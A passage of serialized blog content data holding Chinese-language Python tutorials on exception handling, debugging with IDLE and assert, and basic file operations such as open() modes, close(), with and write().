ssName":87214},[],[87216],{"type":24,"value":87217},"try...except...finally",{"type":24,"value":87003},{"type":18,"tag":34,"props":87220,"children":87221},{},[87222,87224,87230,87232,87237],{"type":24,"value":87223},"完整的异常处理语句应该包含",{"type":18,"tag":74,"props":87225,"children":87227},{"className":87226},[],[87228],{"type":24,"value":87229},"finally",{"type":24,"value":87231},"代码块，通过情况下，无论程序执行是否出现异常，而",{"type":18,"tag":74,"props":87233,"children":87235},{"className":87234},[],[87236],{"type":24,"value":87229},{"type":24,"value":87238},"语句都将会执行。其语法格式如下：",{"type":18,"tag":287,"props":87240,"children":87242},{"className":28710,"code":87241,"language":28712,"meta":8,"style":8},"try:\n    block1\nexcept [ExceptionName [as alias]]:\n    block2\nfinally:\n    block3\n",[87243],{"type":18,"tag":74,"props":87244,"children":87245},{"__ignoreMap":8},[87246,87253,87260,87267,87274,87282],{"type":18,"tag":297,"props":87247,"children":87248},{"class":299,"line":300},[87249],{"type":18,"tag":297,"props":87250,"children":87251},{},[87252],{"type":24,"value":84142},{"type":18,"tag":297,"props":87254,"children":87255},{"class":299,"line":657},[87256],{"type":18,"tag":297,"props":87257,"children":87258},{},[87259],{"type":24,"value":87073},{"type":18,"tag":297,"props":87261,"children":87262},{"class":299,"line":662},[87263],{"type":18,"tag":297,"props":87264,"children":87265},{},[87266],{"type":24,"value":87081},{"type":18,"tag":297,"props":87268,"children":87269},{"class":299,"line":799},[87270],{"type":18,"tag":297,"props":87271,"children":87272},{},[87273],{"type":24,"value":87089},{"type":18,"tag":297,"props":87275,"children":87276},{"class":299,"line":808},[87277],{"type":18,"tag":297,"props":87278,"children":87279},{},[87280],{"type":24,"value":87281},"finally:\n",{"type":18,"tag":297,"props":87283,"children":87284},{"class":299,"line":817},[87285],{"type":18,"tag":297,"props":87286,"children":87287},{},[87288],{"type":24,"value":87289},"    block3\n",{"type":18,"tag":337,"props":87291,"children":87293},{"id":87292},"使用-raise-语句抛出异常",[87294,87295,87301],{"type":24,"value":6499},{"type":18,"tag":74,"props":87296,"children":87298},{"className":87297},[],[87299],{"type":24,"value":87300},"raise",{"type":24,"value":87302}," 语句抛出异常",{"type":18,"tag":34,"props":87304,"children":87305},{},[87306,87308,87313],{"type":24,"value":87307},"如果某个函数或者方法可能会产生异常，但不想在当前函数或者方法中处理这个异常，则可以使用 ",{"type":18,"tag":74,"props":87309,"children":87311},{"className":87310},[],[87312],{"type":24,"value":87300},{"type":24,"value":87314}," 语句在函数或者方法中抛出异常，其语法格式如下：",{"type":18,"tag":287,"props":87316,"children":87318},{"className":28710,"code":87317,"language":28712,"meta":8,"style":8},"raise [ExceptionName[(reason)]]\n",[87319],{"type":18,"tag":74,"props":87320,"children":87321},{"__ignoreMap":8},[87322],{"type":18,"tag":297,"props":87323,"children":87324},{"class":299,"line":300},[87325],{"type":18,"tag":297,"props":87326,"children":87327},{},[87328],{"type":24,"value":87317},{"type":18,"tag":210,"props":87330,"children":87331},{},[87332,87343],{"type":18,"tag":158,"props":87333,"children":87334},{},[87335,87341],{"type":18,"tag":74,"props":87336,"children":87338},{"className":87337},[],[87339],{"type":24,"value":87340},"ExceptionName [(reason)]",{"type":24,"value":87342},"：可选参数，用于指定抛出的异常名称，以及异常信息的相关描述。若省略，就会把当前的错误原样抛出。",{"type":18,"tag":158,"props":87344,"children":87345},{},[87346,87352,87354,87359],{"type":18,"tag":74,"props":87347,"children":87349},{"className":87348},[],[87350],{"type":24,"value":87351},"reason",{"type":24,"value":87353},"：参数",{"type":18,"tag":74,"props":87355,"children":87357},{"className":87356},[],[87358],{"type":24,"value":87351},{"type":24,"value":87360},"可以省略，若省略，则在抛出异常时，不附带任何描述信息。",{"type":18,"tag":27,"props":87362,"children":87364},{"id":87363},"程序调试",[87365],{"type":24,"value":87363},{"type":18,"tag":337,"props":87367,"children":87369},{"id":87368},"使用-idle-进行程序调试",[87370],{"type":24,"value":87371},"使用 IDLE 进行程序调试",{"type":18,"tag":34,"props":87373,"children":87374},{},[87375,87377,87383],{"type":24,"value":87376},"1.首先打开IDLE Shell窗口，在主菜单选择 Debug -> Debugger 菜单项，将打开Debug Control 对话框，同时IDLE Shell 窗口将显示",{"type":18,"tag":74,"props":87378,"children":87380},{"className":87379},[],[87381],{"type":24,"value":87382},"[DEBUG ON]",{"type":24,"value":87384},"表示已处于调试状态。如下图：",{"type":18,"tag":34,"props":87386,"children":87387},{},[87388],{"type":18,"tag":54,"props":87389,"children":87392},{"alt":87390,"src":87391},"Pasted image 20250715160639","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250715160639.png",[],{"type":18,"tag":34,"props":87394,"children":87395},{},[87396,87398,87404,87406,87411],{"type":24,"value":87397},"2.然后在IDLE Shell窗口中选择 File -> Open 菜单项，打开需要调试的文件，然后在想要添加断点的行上右击选择 ",{"type":18,"tag":74,"props":87399,"children":87401},{"className":87400},[],[87402],{"type":24,"value":87403},"Set Breakpoint",{"type":24,"value":87405},"菜单项可以添加断点，在想要取消断点的行上右击选择 ",{"type":18,"tag":74,"props":87407,"children":87409},{"className":87408},[],[87410],{"type":24,"value":87403},{"type":24,"value":87412},"菜单项可以取消断点。添加断点的行将以黄色底纹标记，如下图：",{"type":18,"tag":34,"props":87414,"children":87415},{},[87416],{"type":18,"tag":54,"props":87417,"children":87420},{"alt":87418,"src":87419},"Pasted image 20250715164414","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250715164414.png",[],{"type":18,"tag":34,"props":87422,"children":87423},{},[87424,87426,87431,87433,87439],{"type":24,"value":87425},"3.在添加所需的断点（添加断点的原则是：程序执行到这个位置时，想要查看某些变量的值，就在这个位置添加一个断点）后，按",{"type":18,"tag":74,"props":87427,"children":87429},{"className":87428},[],[87430],{"type":24,"value":63394},{"type":24,"value":87432},"键，执行程序，这是Debug Control对话框中显示程序的执行信息，选择",{"type":18,"tag":74,"props":87434,"children":87436},{"className":87435},[],[87437],{"type":24,"value":87438},"Globals",{"type":24,"value":87440},"复选框，将显示全局变量，默认只显示局部变量。如下图：",{"type":18,"tag":34,"props":87442,"children":87443},{},[87444],{"type":18,"tag":54,"props":87445,"children":87448},{"alt":87446,"src":87447},"Pasted image 20250715165146","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250715165146.png",[],{"type":18,"tag":34,"props":87450,"children":87451},{},[87452,87454,87460],{"type":24,"value":87453},"4.图中可以看到调试工具栏处的提供的5个按钮。此处单击",{"type":18,"tag":74,"props":87455,"children":87457},{"className":87456},[],[87458],{"type":24,"value":87459},"Go",{"type":24,"value":87461},"按钮继续执行程序，直到执行到所设置的第一个断点处，程序才被暂停执行，在此期间，Debug Control窗口的数据将发生变化，如下图：",{"type":18,"tag":34,"props":87463,"children":87464},{},[87465],{"type":18,"tag":54,"props":87466,"children":87469},{"alt":87467,"src":87468},"Pasted image 20250715170121","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250715170121.png",[],{"type":18,"tag":34,"props":87471,"children":87472},{},[87473,87475,87480],{"type":24,"value":87474},"5.继续点击",{"type":18,"tag":74,"props":87476,"children":87478},{"className":87477},[],[87479],{"type":24,"value":87459},{"type":24,"value":87481},"按钮，将执行到下一个断点，查看变量的变化，直到全部断点全部执行完毕。调试工具栏的按钮状态将变为不可用，如图：",{"type":18,"tag":34,"props":87483,"children":87484},{},[87485],{"type":18,"tag":54,"props":87486,"children":87489},{"alt":87487,"src":87488},"Pasted image 20250715170616","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250715170616.png",[],{"type":18,"tag":34,"props":87491,"children":87492},{},[87493,87495,87501],{"type":24,"value":87494},"6.程序调试完成后，可以关闭Debug Control对话框，此时Python Shell中将显示",{"type":18,"tag":74,"props":87496,"children":87498},{"className":87497},[],[87499],{"type":24,"value":87500},"[DEBUG OFF]",{"type":24,"value":87502},"表示已经结束调试。",{"type":18,"tag":34,"props":87504,"children":87505},{},[87506],{"type":24,"value":87507},"调试工具栏的5个按钮介绍：",{"type":18,"tag":431,"props":87509,"children":87510},{},[87511,87526],{"type":18,"tag":435,"props":87512,"children":87513},{},[87514],{"type":18,"tag":439,"props":87515,"children":87516},{},[87517,87522],{"type":18,"tag":443,"props":87518,"children":87519},{"align":3465},[87520],{"type":24,"value":87521},"按钮名称",{"type":18,"tag":443,"props":87523,"children":87524},{"align":3465},[87525],{"type":24,"value":3023},{"type":18,"tag":459,"props":87527,"children":87528},{},[87529,87541,87554,87567,87580],{"type":18,"tag":439,"props":87530,"children":87531},{},[87532,87536],{"type":18,"tag":466,"props":87533,"children":87534},{"align":3465},[87535],{"type":24,"value":87459},{"type":18,"tag":466,"props":87537,"children":87538},{"align":3465},[87539],{"type":24,"value":87540},"执行跳至断点操作",{"type":18,"tag":439,"props":87542,"children":87543},{},[87544,87549],{"type":18,"tag":466,"props":87545,"children":87546},{"align":3465},[87547],{"type":24,"value":87548},"Step",{"type":18,"tag":466,"props":87550,"children":87551},{"align":3465},[87552],{"type":24,"value":87553},"进入要执行的函数",{"type":18,"tag":439,"props":87555,"children":87556},{},[87557,87562],{"type":18,"tag":466,"props":87558,"children":87559},{"align":3465},[87560],{"type":24,"value":87561},"Over",{"type":18,"tag":466,"props":87563,"children":87564},{"align":3465},[87565],{"type":24,"value":87566},"用于单步执行",{"type":18,"tag":439,"props":87568,"children":87569},{},[87570,87575],{"type":18,"tag":466,"props":87571,"children":87572},{"align":3465},[87573],{"type":24,"value":87574},"Out",{"type":18,"tag":466,"props":87576,"children":87577},{"align":3465},[87578],{"type":24,"value":87579},"跳出所在的函数",{"type":18,"tag":439,"props":87581,"children":87582},{},[87583,87588],{"type":18,"tag":466,"props":87584,"children":87585},{"align":3465},[87586],{"type":24,"value":87587},"Quit",{"type":18,"tag":466,"props":87589,"children":87590},{"align":3465},[87591],{"type":24,"value":87592},"结束调试",{"type":18,"tag":96,"props":87594,"children":87595},{},[87596],{"type":18,"tag":34,"props":87597,"children":87598},{},[87599,87601,87606,87608,87613,87615,87620,87622,87627],{"type":24,"value":87600},"在调试过程中，如果所设置的断点处有其他函数调用，还可以单击",{"type":18,"tag":74,"props":87602,"children":87604},{"className":87603},[],[87605],{"type":24,"value":87548},{"type":24,"value":87607}," 按钮进入函数内部.当确定该函数没有问题时，可以单击 ",{"type":18,"tag":74,"props":87609,"children":87611},{"className":87610},[],[87612],{"type":24,"value":87574},{"type":24,"value":87614},"按钮跳出该函数；或者在调试的过程中，当需要对已经发现的问题的原因进行修改时，可以直接单击 ",{"type":18,"tag":74,"props":87616,"children":87618},{"className":87617},[],[87619],{"type":24,"value":87587},{"type":24,"value":87621}," 按钮结束调试。另外，如果调试的目的不是很明确（即不确认问题的位置），也可以直接单击 ",{"type":18,"tag":74,"props":87623,"children":87625},{"className":87624},[],[87626],{"type":24,"value":87548},{"type":24,"value":87628}," 按钮进行单步执行，这样可以清晰地观察程序的执行过程和数据的变量，方便找出问题。",{"type":18,"tag":337,"props":87630,"children":87632},{"id":87631},"使用-assert-语句调试程序",[87633,87634,87640],{"type":24,"value":6499},{"type":18,"tag":74,"props":87635,"children":87637},{"className":87636},[],[87638],{"type":24,"value":87639},"assert",{"type":24,"value":87641}," 语句调试程序",{"type":18,"tag":34,"props":87643,"children":87644},{},[87645,87647,87652,87654,87659],{"type":24,"value":87646},"还可以在代码中通过",{"type":18,"tag":74,"props":87648,"children":87650},{"className":87649},[],[87651],{"type":24,"value":34598},{"type":24,"value":87653},"函数把可能出现的变量输出，便于查看，但是会产生很多冗余信息，所以比较麻烦。因此，Python还提供了一种方法，即使用",{"type":18,"tag":74,"props":87655,"children":87657},{"className":87656},[],[87658],{"type":24,"value":87639},{"type":24,"value":87660},"语句进行调试。它一般被用于对程序某个时刻必须满足的条件进行验证。其语法格式如下：",{"type":18,"tag":287,"props":87662,"children":87664},{"className":28710,"code":87663,"language":28712,"meta":8,"style":8},"assert expression[,reason]\n",[87665],{"type":18,"tag":74,"props":87666,"children":87667},{"__ignoreMap":8},[87668],{"type":18,"tag":297,"props":87669,"children":87670},{"class":299,"line":300},[87671],{"type":18,"tag":297,"props":87672,"children":87673},{},[87674],{"type":24,"value":87663},{"type":18,"tag":210,"props":87676,"children":87677},{},[87678,87697],{"type":18,"tag":158,"props":87679,"children":87680},{},[87681,87687,87689,87695],{"type":18,"tag":74,"props":87682,"children":87684},{"className":87683},[],[87685],{"type":24,"value":87686},"expression",{"type":24,"value":87688},"：条件表达式。如果表达式为真，则什么都不做，否则，将抛出",{"type":18,"tag":74,"props":87690,"children":87692},{"className":87691},[],[87693],{"type":24,"value":87694},"AssertionError",{"type":24,"value":87696},"异常。",{"type":18,"tag":158,"props":87698,"children":87699},{},[87700,87705],{"type":18,"tag":74,"props":87701,"children":87703},{"className":87702},[],[87704],{"type":24,"value":87351},{"type":24,"value":87706},"：可选参数，用于对判断条件进行描述，为了以后更好的直到哪儿出现了问题。",{"type":18,"tag":651,"props":87708,"children":87709},{},[87710],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":87712},[87713,87714,87715],{"id":86815,"depth":662,"text":86815},{"id":86989,"depth":662,"text":86989},{"id":87363,"depth":662,"text":87363},"content:blog:2025-07-10-python-异常处理及程序调试.md","blog\u002F2025-07-10-python-异常处理及程序调试.md","blog\u002F2025-07-10-python-异常处理及程序调试",{"_path":87720,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":87721,"description":87722,"date":87723,"tags":87724,"body":87725,"_type":672,"_id":90381,"_source":674,"_file":90382,"_stem":90383,"_extension":677},"\u002Fblog\u002F2025-07-09-python","Python-文件及目录操作","Python文件与目录操作：文件读写、with语句、os\u002Fpathlib模块常用功能。","2025-07-09",[28616,75509],{"type":15,"children":87726,"toc":90376},[87727,87730,87735,87740,87752,87766,87820,87830,88106,88116,88150,88155,88167,88181,88194,88207,88225,88248,88302,88307,88326,88340,88359,88387,88392,88412,88417,88425,88437,88451,88474,88501,88528,88542,88584,88613,88618,88657,88665,88678,88692,88700,88712,88726,88731,88749,88760,88794,88804,88960,88970,89109,89114,89131,89153,89209,89232,89243,89265,89315,89334,89348,89366,89380,89385,89405,89427,89446,89450,89462,89486,89494,89514,89528,89559,89566,89577,89590,89617,89621,89640,89662,89681,89704,89709,89728,89750,89878,89891,89896,89906,90028,90043,90048,90066,90088,90099,90289,90294,90372],{"type":18,"tag":121,"props":87728,"children":87729},{},[],{"type":18,"tag":27,"props":87731,"children":87733},{"id":87732},"基本文件操作",[87734],{"type":24,"value":87732},{"type":18,"tag":337,"props":87736,"children":87738},{"id":87737},"创建和打开文件",[87739],{"type":24,"value":87737},{"type":18,"tag":34,"props":87741,"children":87742},{},[87743,87745,87750],{"type":24,"value":87744},"在Python中若要操作文件对象，需要先使用内置的 ",{"type":18,"tag":74,"props":87746,"children":87748},{"className":87747},[],[87749],{"type":24,"value":60612},{"type":24,"value":87751}," 函数实现。其语法格式如下：",{"type":18,"tag":287,"props":87753,"children":87755},{"className":28710,"code":87754,"language":28712,"meta":8,"style":8},"file = open(filename[,mode[,buffering]])\n",[87756],{"type":18,"tag":74,"props":87757,"children":87758},{"__ignoreMap":8},[87759],{"type":18,"tag":297,"props":87760,"children":87761},{"class":299,"line":300},[87762],{"type":18,"tag":297,"props":87763,"children":87764},{},[87765],{"type":24,"value":87754},{"type":18,"tag":210,"props":87767,"children":87768},{},[87769,87779,87790,87809],{"type":18,"tag":158,"props":87770,"children":87771},{},[87772,87777],{"type":18,"tag":74,"props":87773,"children":87775},{"className":87774},[],[87776],{"type":24,"value":8556},{"type":24,"value":87778},"：被创建的文件对象",{"type":18,"tag":158,"props":87780,"children":87781},{},[87782,87788],{"type":18,"tag":74,"props":87783,"children":87785},{"className":87784},[],[87786],{"type":24,"value":87787},"filename",{"type":24,"value":87789},"：要创建或者打开文件的名称，需要使用单引号或双引号括起来，若打开文件在当前目录下，则可以直接写文件名，否则需要指定完整路径",{"type":18,"tag":158,"props":87791,"children":87792},{},[87793,87799,87801,87807],{"type":18,"tag":74,"props":87794,"children":87796},{"className":87795},[],[87797],{"type":24,"value":87798},"mode",{"type":24,"value":87800},"：可选参数，用于指定文件的打开模式。默认为 ",{"type":18,"tag":74,"props":87802,"children":87804},{"className":87803},[],[87805],{"type":24,"value":87806},"r",{"type":24,"value":87808}," 即只读模式",{"type":18,"tag":158,"props":87810,"children":87811},{},[87812,87818],{"type":18,"tag":74,"props":87813,"children":87815},{"className":87814},[],[87816],{"type":24,"value":87817},"buffering",{"type":24,"value":87819},"：可选参数，用于指定读写文件的缓冲模式，若为0，则表示不缓存，若为1，则表示缓存；如大于1，则表示缓冲区的大小，默认为缓存模式",{"type":18,"tag":34,"props":87821,"children":87822},{},[87823,87828],{"type":18,"tag":74,"props":87824,"children":87826},{"className":87825},[],[87827],{"type":24,"value":87798},{"type":24,"value":87829}," 的参数值及其说明",{"type":18,"tag":431,"props":87831,"children":87832},{},[87833,87853],{"type":18,"tag":435,"props":87834,"children":87835},{},[87836],{"type":18,"tag":439,"props":87837,"children":87838},{},[87839,87844,87848],{"type":18,"tag":443,"props":87840,"children":87841},{"align":3465},[87842],{"type":24,"value":87843},"参数值",{"type":18,"tag":443,"props":87845,"children":87846},{"align":3465},[87847],{"type":24,"value":843},{"type":18,"tag":443,"props":87849,"children":87850},{"align":3465},[87851],{"type":24,"value":87852},"文件必须存在",{"type":18,"tag":459,"props":87854,"children":87855},{},[87856,87876,87897,87918,87939,87961,87982,88003,88024,88044,88065,88086],{"type":18,"tag":439,"props":87857,"children":87858},{},[87859,87867,87872],{"type":18,"tag":466,"props":87860,"children":87861},{"align":3465},[87862],{"type":18,"tag":74,"props":87863,"children":87865},{"className":87864},[],[87866],{"type":24,"value":87806},{"type":18,"tag":466,"props":87868,"children":87869},{"align":3465},[87870],{"type":24,"value":87871},"以只读模式打开文件，文件的指针将放置文件开头",{"type":18,"tag":466,"props":87873,"children":87874},{"align":3465},[87875],{"type":24,"value":52066},{"type":18,"tag":439,"props":87877,"children":87878},{},[87879,87888,87893],{"type":18,"tag":466,"props":87880,"children":87881},{"align":3465},[87882],{"type":18,"tag":74,"props":87883,"children":87885},{"className":87884},[],[87886],{"type":24,"value":87887},"rb",{"type":18,"tag":466,"props":87889,"children":87890},{"align":3465},[87891],{"type":24,"value":87892},"以二进制格式打开文件，只读模式，指针放置开头，用于非文本文件",{"type":18,"tag":466,"props":87894,"children":87895},{"align":3465},[87896],{"type":24,"value":52066},{"type":18,"tag":439,"props":87898,"children":87899},{},[87900,87909,87914],{"type":18,"tag":466,"props":87901,"children":87902},{"align":3465},[87903],{"type":18,"tag":74,"props":87904,"children":87906},{"className":87905},[],[87907],{"type":24,"value":87908},"r+",{"type":18,"tag":466,"props":87910,"children":87911},{"align":3465},[87912],{"type":24,"value":87913},"打开文件后，可以读取文件内容，也可以写入新的内容覆盖掉原有内容（从头开始覆盖）",{"type":18,"tag":466,"props":87915,"children":87916},{"align":3465},[87917],{"type":24,"value":52066},{"type":18,"tag":439,"props":87919,"children":87920},{},[87921,87930,87935],{"type":18,"tag":466,"props":87922,"children":87923},{"align":3465},[87924],{"type":18,"tag":74,"props":87925,"children":87927},{"className":87926},[],[87928],{"type":24,"value":87929},"rb+",{"type":18,"tag":466,"props":87931,"children":87932},{"align":3465},[87933],{"type":24,"value":87934},"以二进制格式打开文件，读写模式，指针放置开头，用于非文本文件",{"type":18,"tag":466,"props":87936,"children":87937},{"align":3465},[87938],{"type":24,"value":52066},{"type":18,"tag":439,"props":87940,"children":87941},{},[87942,87951,87956],{"type":18,"tag":466,"props":87943,"children":87944},{"align":3465},[87945],{"type":18,"tag":74,"props":87946,"children":87948},{"className":87947},[],[87949],{"type":24,"value":87950},"w",{"type":18,"tag":466,"props":87952,"children":87953},{"align":3465},[87954],{"type":24,"value":87955},"以只写模式打开文件",{"type":18,"tag":466,"props":87957,"children":87958},{"align":3465},[87959],{"type":24,"value":87960},"否",{"type":18,"tag":439,"props":87962,"children":87963},{},[87964,87973,87978],{"type":18,"tag":466,"props":87965,"children":87966},{"align":3465},[87967],{"type":18,"tag":74,"props":87968,"children":87970},{"className":87969},[],[87971],{"type":24,"value":87972},"wb",{"type":18,"tag":466,"props":87974,"children":87975},{"align":3465},[87976],{"type":24,"value":87977},"以二进制格式打开文件，只写模式，用于非文本文件",{"type":18,"tag":466,"props":87979,"children":87980},{"align":3465},[87981],{"type":24,"value":87960},{"type":18,"tag":439,"props":87983,"children":87984},{},[87985,87994,87999],{"type":18,"tag":466,"props":87986,"children":87987},{"align":3465},[87988],{"type":18,"tag":74,"props":87989,"children":87991},{"className":87990},[],[87992],{"type":24,"value":87993},"w+",{"type":18,"tag":466,"props":87995,"children":87996},{"align":3465},[87997],{"type":24,"value":87998},"打开文件后，先清空内容，对空文件有读写权限",{"type":18,"tag":466,"props":88000,"children":88001},{"align":3465},[88002],{"type":24,"value":87960},{"type":18,"tag":439,"props":88004,"children":88005},{},[88006,88015,88020],{"type":18,"tag":466,"props":88007,"children":88008},{"align":3465},[88009],{"type":18,"tag":74,"props":88010,"children":88012},{"className":88011},[],[88013],{"type":24,"value":88014},"wb+",{"type":18,"tag":466,"props":88016,"children":88017},{"align":3465},[88018],{"type":24,"value":88019},"以二进制格式打开文件，读写模式，用于非文本文件",{"type":18,"tag":466,"props":88021,"children":88022},{"align":3465},[88023],{"type":24,"value":87960},{"type":18,"tag":439,"props":88025,"children":88026},{},[88027,88035,88040],{"type":18,"tag":466,"props":88028,"children":88029},{"align":3465},[88030],{"type":18,"tag":74,"props":88031,"children":88033},{"className":88032},[],[88034],{"type":24,"value":43},{"type":18,"tag":466,"props":88036,"children":88037},{"align":3465},[88038],{"type":24,"value":88039},"以追加模式打开文件，若文件存在，文件指针放置于末尾，否则",{"type":18,"tag":466,"props":88041,"children":88042},{"align":3465},[88043],{"type":24,"value":87960},{"type":18,"tag":439,"props":88045,"children":88046},{},[88047,88056,88061],{"type":18,"tag":466,"props":88048,"children":88049},{"align":3465},[88050],{"type":18,"tag":74,"props":88051,"children":88053},{"className":88052},[],[88054],{"type":24,"value":88055},"ab",{"type":18,"tag":466,"props":88057,"children":88058},{"align":3465},[88059],{"type":24,"value":88060},"二进制格式打开文件，追加模式，指针放置末尾",{"type":18,"tag":466,"props":88062,"children":88063},{"align":3465},[88064],{"type":24,"value":87960},{"type":18,"tag":439,"props":88066,"children":88067},{},[88068,88077,88082],{"type":18,"tag":466,"props":88069,"children":88070},{"align":3465},[88071],{"type":18,"tag":74,"props":88072,"children":88074},{"className":88073},[],[88075],{"type":24,"value":88076},"a+",{"type":18,"tag":466,"props":88078,"children":88079},{"align":3465},[88080],{"type":24,"value":88081},"以读写模式打开文件，指针放置末尾",{"type":18,"tag":466,"props":88083,"children":88084},{"align":3465},[88085],{"type":24,"value":87960},{"type":18,"tag":439,"props":88087,"children":88088},{},[88089,88098,88102],{"type":18,"tag":466,"props":88090,"children":88091},{"align":3465},[88092],{"type":18,"tag":74,"props":88093,"children":88095},{"className":88094},[],[88096],{"type":24,"value":88097},"ab+",{"type":18,"tag":466,"props":88099,"children":88100},{"align":3465},[88101],{"type":24,"value":88060},{"type":18,"tag":466,"props":88103,"children":88104},{"align":3465},[88105],{"type":24,"value":87960},{"type":18,"tag":34,"props":88107,"children":88108},{},[88109,88114],{"type":18,"tag":74,"props":88110,"children":88112},{"className":88111},[],[88113],{"type":24,"value":60612},{"type":24,"value":88115},"方法经常实现以下几个功能：",{"type":18,"tag":210,"props":88117,"children":88118},{},[88119,88124,88129],{"type":18,"tag":158,"props":88120,"children":88121},{},[88122],{"type":24,"value":88123},"打开一个不存在的文件时先创建该文件",{"type":18,"tag":158,"props":88125,"children":88126},{},[88127],{"type":24,"value":88128},"以二进制形式打开文件，如图片、音视频文件等",{"type":18,"tag":158,"props":88130,"children":88131},{},[88132,88134,88140,88142,88148],{"type":24,"value":88133},"打开文件时指定编码方式，默认",{"type":18,"tag":74,"props":88135,"children":88137},{"className":88136},[],[88138],{"type":24,"value":88139},"GBK",{"type":24,"value":88141},"编码格式，若打开文件与编码不符将会抛出",{"type":18,"tag":74,"props":88143,"children":88145},{"className":88144},[],[88146],{"type":24,"value":88147},"UnicodeDecodeError",{"type":24,"value":88149},"异常信息",{"type":18,"tag":337,"props":88151,"children":88153},{"id":88152},"关闭文件",[88154],{"type":24,"value":88152},{"type":18,"tag":34,"props":88156,"children":88157},{},[88158,88160,88165],{"type":24,"value":88159},"打开文件后，需要及时关闭文件，以免对文件造成破坏。如关闭文件名为",{"type":18,"tag":74,"props":88161,"children":88163},{"className":88162},[],[88164],{"type":24,"value":8556},{"type":24,"value":88166},"的文件语法如下：",{"type":18,"tag":287,"props":88168,"children":88170},{"className":28710,"code":88169,"language":28712,"meta":8,"style":8},"file.close()\n",[88171],{"type":18,"tag":74,"props":88172,"children":88173},{"__ignoreMap":8},[88174],{"type":18,"tag":297,"props":88175,"children":88176},{"class":299,"line":300},[88177],{"type":18,"tag":297,"props":88178,"children":88179},{},[88180],{"type":24,"value":88169},{"type":18,"tag":96,"props":88182,"children":88183},{},[88184],{"type":18,"tag":34,"props":88185,"children":88186},{},[88187,88192],{"type":18,"tag":74,"props":88188,"children":88190},{"className":88189},[],[88191],{"type":24,"value":60893},{"type":24,"value":88193},"方法先刷新缓冲区中还未写入的信息，然后关闭文件",{"type":18,"tag":337,"props":88195,"children":88197},{"id":88196},"打开文件使用with语句",[88198,88200,88205],{"type":24,"value":88199},"打开文件使用",{"type":18,"tag":74,"props":88201,"children":88203},{"className":88202},[],[88204],{"type":24,"value":76772},{"type":24,"value":88206},"语句",{"type":18,"tag":34,"props":88208,"children":88209},{},[88210,88211,88216,88218,88223],{"type":24,"value":35582},{"type":18,"tag":74,"props":88212,"children":88214},{"className":88213},[],[88215],{"type":24,"value":76772},{"type":24,"value":88217},"语句可以实现无论是否抛出异常都将保证",{"type":18,"tag":74,"props":88219,"children":88221},{"className":88220},[],[88222],{"type":24,"value":76772},{"type":24,"value":88224},"语句执行完毕后关闭已经打开的文件，其语法格式如下：",{"type":18,"tag":287,"props":88226,"children":88228},{"className":28710,"code":88227,"language":28712,"meta":8,"style":8},"with expression as target:\n    with_body\n",[88229],{"type":18,"tag":74,"props":88230,"children":88231},{"__ignoreMap":8},[88232,88240],{"type":18,"tag":297,"props":88233,"children":88234},{"class":299,"line":300},[88235],{"type":18,"tag":297,"props":88236,"children":88237},{},[88238],{"type":24,"value":88239},"with expression as target:\n",{"type":18,"tag":297,"props":88241,"children":88242},{"class":299,"line":657},[88243],{"type":18,"tag":297,"props":88244,"children":88245},{},[88246],{"type":24,"value":88247},"    with_body\n",{"type":18,"tag":210,"props":88249,"children":88250},{},[88251,88267,88284],{"type":18,"tag":158,"props":88252,"children":88253},{},[88254,88259,88261,88266],{"type":18,"tag":74,"props":88255,"children":88257},{"className":88256},[],[88258],{"type":24,"value":87686},{"type":24,"value":88260},"：用于指定一个表达式，这里可以是",{"type":18,"tag":74,"props":88262,"children":88264},{"className":88263},[],[88265],{"type":24,"value":60612},{"type":24,"value":81408},{"type":18,"tag":158,"props":88268,"children":88269},{},[88270,88275,88277,88282],{"type":18,"tag":74,"props":88271,"children":88273},{"className":88272},[],[88274],{"type":24,"value":9578},{"type":24,"value":88276},"：指定一个变量，并将",{"type":18,"tag":74,"props":88278,"children":88280},{"className":88279},[],[88281],{"type":24,"value":87686},{"type":24,"value":88283},"的结果保存在该变量中",{"type":18,"tag":158,"props":88285,"children":88286},{},[88287,88293,88295,88300],{"type":18,"tag":74,"props":88288,"children":88290},{"className":88289},[],[88291],{"type":24,"value":88292},"with_body",{"type":24,"value":88294},"：用于指定",{"type":18,"tag":74,"props":88296,"children":88298},{"className":88297},[],[88299],{"type":24,"value":76772},{"type":24,"value":88301},"语句体",{"type":18,"tag":337,"props":88303,"children":88305},{"id":88304},"写入文件内容",[88306],{"type":24,"value":88304},{"type":18,"tag":34,"props":88308,"children":88309},{},[88310,88312,88317,88319,88324],{"type":24,"value":88311},"Python的文件对象提供了",{"type":18,"tag":74,"props":88313,"children":88315},{"className":88314},[],[88316],{"type":24,"value":63631},{"type":24,"value":88318},"方法，可以向文件写入内容，",{"type":18,"tag":74,"props":88320,"children":88322},{"className":88321},[],[88323],{"type":24,"value":63631},{"type":24,"value":88325},"方法如下：",{"type":18,"tag":287,"props":88327,"children":88329},{"className":28710,"code":88328,"language":28712,"meta":8,"style":8},"file.write(string)\n",[88330],{"type":18,"tag":74,"props":88331,"children":88332},{"__ignoreMap":8},[88333],{"type":18,"tag":297,"props":88334,"children":88335},{"class":299,"line":300},[88336],{"type":18,"tag":297,"props":88337,"children":88338},{},[88339],{"type":24,"value":88328},{"type":18,"tag":34,"props":88341,"children":88342},{},[88343,88345,88350,88352,88357],{"type":24,"value":88344},"其中",{"type":18,"tag":74,"props":88346,"children":88348},{"className":88347},[],[88349],{"type":24,"value":8556},{"type":24,"value":88351},"为文件对象，",{"type":18,"tag":74,"props":88353,"children":88355},{"className":88354},[],[88356],{"type":24,"value":16841},{"type":24,"value":88358},"为需要写入的字符串。",{"type":18,"tag":96,"props":88360,"children":88361},{},[88362],{"type":18,"tag":34,"props":88363,"children":88364},{},[88365,88367,88372,88374,88379,88380,88385],{"type":24,"value":88366},"调用",{"type":18,"tag":74,"props":88368,"children":88370},{"className":88369},[],[88371],{"type":24,"value":63631},{"type":24,"value":88373},"方法向文件写入内容的前提是，在打开文件时，指定的打开模式为",{"type":18,"tag":74,"props":88375,"children":88377},{"className":88376},[],[88378],{"type":24,"value":87950},{"type":24,"value":52088},{"type":18,"tag":74,"props":88381,"children":88383},{"className":88382},[],[88384],{"type":24,"value":43},{"type":24,"value":88